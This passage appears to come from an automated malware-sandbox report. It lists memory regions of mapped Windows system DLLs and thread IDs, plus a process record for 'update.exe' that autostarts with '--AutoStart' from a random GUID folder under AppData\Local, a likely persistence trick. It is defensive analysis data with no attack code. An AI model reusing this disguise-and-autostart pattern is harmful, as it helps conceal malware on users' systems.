"vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1321 start_va = 0x7fef7b80000 end_va = 0x7fef7baffff entry_point = 0x7fef7b80000 region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 1322 start_va = 0x7fef7bc0000 end_va = 0x7fef7bdffff entry_point = 0x7fef7bc0000 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 1323 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1324 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1325 start_va = 0x7fefade0000 end_va = 0x7fefade6fff entry_point = 0x7fefade0000 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 1326 start_va = 0x7fefadf0000 end_va = 0x7fefae42fff entry_point = 0x7fefadf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1327 start_va = 0x7fefae50000 end_va = 0x7fefae7ffff entry_point = 0x7fefae50000 region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 1328 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1329 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1330 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1331 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1332 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1333 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1334 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1335 start_va = 0x7fefb830000 end_va = 0x7fefb837fff entry_point = 0x7fefb830000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1336 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1337 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1338 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1339 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1340 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1341 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1342 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1343 start_va = 0x7fefcaf0000 end_va = 0x7fefcb3bfff entry_point = 0x7fefcaf0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1344 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1345 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1346 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1347 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1348 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1349 start_va = 0x7fefcfc0000 end_va = 0x7fefcff1fff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1350 start_va = 0x7fefd020000 end_va = 0x7fefd041fff entry_point = 0x7fefd020000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1351 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1352 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1353 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1354 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1355 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1356 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1357 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1358 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1359 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1360 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1361 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1362 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1363 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1364 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1365 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1366 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1367 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1368 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1369 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1370 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1371 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1372 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1373 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1374 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1375 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1376 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1377 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1378 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1379 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1380 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1381 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1382 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1383 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1384 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1385 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1386 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1387 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1388 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1389 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1390 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1391 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1392 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1393 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1394 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1395 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1396 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1397 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 62 os_tid = 0x994 Thread: id = 63 os_tid = 0x850 Thread: id = 64 os_tid = 0x6dc Thread: id = 65 os_tid = 0x788 Thread: id = 66 os_tid = 0x744 Thread: id = 67 os_tid = 0x6b4 Thread: id = 68 os_tid = 0x6a8 Thread: id = 69 os_tid = 0x67c Thread: id = 70 os_tid = 0x618 Thread: id = 71 os_tid = 0x5ec Thread: id = 72 os_tid = 0x144 Thread: id = 73 os_tid = 0x15c Thread: id = 74 os_tid = 0x150 Thread: id = 75 os_tid = 0x30c Thread: id = 76 os_tid = 0x294 Thread: id = 77 os_tid = 0x138 Thread: id = 78 os_tid = 0x230 Thread: id = 79 os_tid = 0x21c Thread: id = 81 os_tid = 0xb18 Thread: id = 82 os_tid = 0xb2c Process: id = "14" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" page_root = "0xc94000" os_pid = "0x4cc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e23f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1398 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1399 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1400 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1401 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1402 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1403 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1404 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") Region: id = 1405 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1406 start_va = 0x77a90000 end_va = 0x77c0ffff entry_point = 0x77a90000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1407 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1408 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1409 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 1410 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 1411 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 1412 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 1413 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 1534 start_va = 0x2c0000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1535 start_va = 0x73ff0000 end_va = 0x7404bfff entry_point = 0x73ff0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1536 start_va = 0x754a0000 end_va = 0x754a7fff entry_point = 0x754a0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1537 start_va = 0x754b0000 end_va = 0x754eefff entry_point = 0x754b0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1538 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1539 start_va = 0x75f50000 end_va = 0x75f95fff entry_point = 0x75f50000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1540 start_va = 0x773e0000 end_va = 0x774effff entry_point = 0x773e0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1541 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x0 region_type = private name = "private_0x0000000077690000" filename = "" Region: id = 1542 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x0 region_type = private name = "private_0x00000000777b0000" filename = "" Region: id = 1543 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1544 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1545 start_va = 0x73830000 end_va = 0x73834fff entry_point = 0x73830000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 1546 start_va = 0x755e0000 end_va = 0x755ebfff entry_point = 0x755e0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1547 start_va = 0x755f0000 end_va = 0x7564ffff entry_point = 0x755f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1548 start_va = 0x75720000 end_va = 0x757bffff entry_point = 0x75720000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1549 start_va = 0x75b30000 end_va = 0x75bccfff entry_point = 0x75b30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1550 start_va = 0x75d90000 end_va = 0x75e3bfff entry_point = 0x75d90000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1551 start_va = 0x75e40000 end_va = 0x75e49fff entry_point = 0x75e40000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1552 start_va = 0x75e50000 end_va = 0x75f4ffff entry_point = 0x75e50000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1553 start_va = 0x76ea0000 end_va = 0x76eb8fff entry_point = 0x76ea0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1554 start_va = 0x77150000 end_va = 0x7723ffff entry_point = 0x77150000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1555 start_va = 0x77290000 end_va = 0x7731ffff entry_point = 0x77290000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1556 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1557 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1558 start_va = 0x590000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1559 start_va = 0x6c0000 end_va = 0x847fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1560 start_va = 0x75650000 end_va = 0x7571bfff entry_point = 0x75650000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1561 start_va = 0x75d30000 end_va = 0x75d8ffff entry_point = 0x75d30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1562 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1563 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1564 start_va = 0x850000 end_va = 0x9d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1565 start_va = 0x9e0000 end_va = 0x1ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 1566 start_va = 0x1de0000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 1567 start_va = 0x210000 end_va = 0x214fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 1568 start_va = 0x210000 end_va = 0x25efff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1569 start_va = 0x75390000 end_va = 0x753a1fff entry_point = 0x75390000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1570 start_va = 0x75bd0000 end_va = 0x75cc4fff entry_point = 0x75bd0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1571 start_va = 0x76e40000 end_va = 0x76e96fff entry_point = 0x76e40000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1572 start_va = 0x76ec0000 end_va = 0x76ff5fff entry_point = 0x76ec0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1573 start_va = 0x75810000 end_va = 0x7596bfff entry_point = 0x75810000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1574 start_va = 0x77000000 end_va = 0x7708efff entry_point = 0x77000000 region_type = 